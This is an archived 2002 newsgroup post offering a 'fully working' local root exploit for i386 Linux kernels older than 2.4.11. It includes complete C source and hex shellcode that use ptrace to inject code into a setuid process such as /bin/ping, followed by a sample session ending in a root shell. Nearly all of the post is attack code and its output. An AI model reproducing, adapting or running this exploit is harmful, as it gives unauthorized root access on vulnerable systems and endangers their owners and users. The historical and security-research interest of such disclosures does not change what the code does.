

Linux kernel exploit

Source: <http://www.derkeiler.com/Newsgroups/comp.os.linux.security/2002-01/0499.html>

From: Christophe (cdevine@netcourrier.com)

Date: 01/12/02

From: cdevine@netcourrier.com (Christophe)

Date: 12 Jan 2002 05:28:26 -0800

/*

Here is a fully working exploit for i386 Linux kernel < 2.4.11

Note: it should also work with /bin/login replaced by /usr/bin/newgrp (which does usually not require a valid username/password), and in case /bin/ping is not suid you may use any root-suid program.

This exploit will certainly not work if the stack is not executable; in that case you will have to adjust myEIP.

Tested on Debian 2.2r3 :

```
$ telnet localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
```

```
Linux 2.2.19pre17 (localhost) (2)
```

```
cibox login: chris
Password:
Last login: Sat Jan 12 13:27:03 2002 on tty1
$ exec ./a.out
enter: exec ./a.out 1062
cibox login: chris
Password:
Last login: Sat Jan 12 13:27:23 2002 from localhost on pts/2
$ exec ./a.out 1062
Enjoy.
sh-2.03# id
uid=0(root) gid=100(users) groups=100(users)
*/
```

```
#include <sys/wait.h>
#include <asm/user.h>
```

```
char rootshell[] =
```

```
"\x31\xDB\x31\xC0\xB0\x17\xCD\x80\x09\xC0\x74\x1C\x31\xD2\xB2\x0E"
"\xEB\x03\x59\xEB\x28\xE8\xF8\xFF\xFF\xFF\x53\x68\x69\x74\x20\x68"
"\x61\x70\x70\x65\x6E\x73\x2E\x0A\x31\xD2\xB2\x07\xEB\x03\x59\xEB"
"\x0C\xE8\xF8\xFF\xFF\xFF\x45\x6E\x6A\x6F\x79\x2E\x0A\x31\xDB\xB3"
"\x01\x31\xC0\xB0\x04\xCD\x80\xEB\x03\x5B\xEB\x0D\xE8\xF8\xFF\xFF"
"\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x00\x89\xE7\x89\xF9\x89\xD8\xAB"
"\x89\xFA\x31\xC0\xAB\xB0\x0B\xCD\x80\x31\xDB\xB3\x01\x31\xC0\xB0"
"\x01\xCD\x80";
```

```
#define myEIP 0xBFFFFFF0
```

```
int main( int argc, char *argv[] )
```

```
{
    int p, i;
    struct user_regs_struct r;
    char * b = (char *) malloc( 128 );

    if( argc == 2 )
    {
        p = atoi( argv[1] );
        ptrace( PTRACE_GETREGS, p, 0, &r );
        r.eip = myEIP;
        ptrace( PTRACE_SETREGS, p, 0, &r );
        for( i = 0; i < 115; i += 4 )
            ptrace( PTRACE_POKETEXT, p, myEIP + i, * (int *) (rootshell + i) );
        ptrace( PTRACE_DETACH, p, 0, 0 );
        waitpid( p, 0, 0 );
        return( 0 );
    }
    if( ! ( p = fork() ) )
    {
        execl( "/bin/ping", "/bin/ping", "127.0.0.1", 0 );
        return( 1 );
    }
    ptrace( PTRACE_ATTACH, p, 0, 0 );
    waitpid( p, 0, 0 );
    printf( "enter: exec %s %i\n", argv[0], p );
    ptrace( PTRACE_CONT, p, 0, 0 );
    execl( "/bin/login", "/bin/login", 0 );
    return( 1 );
}
```

- **Next message:** [svek: "Re: what does this mean in the error log?"](#)
- **Previous message:** [Martin Bock: "Re: some kind of attack. i need some help here!"](#)
- **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)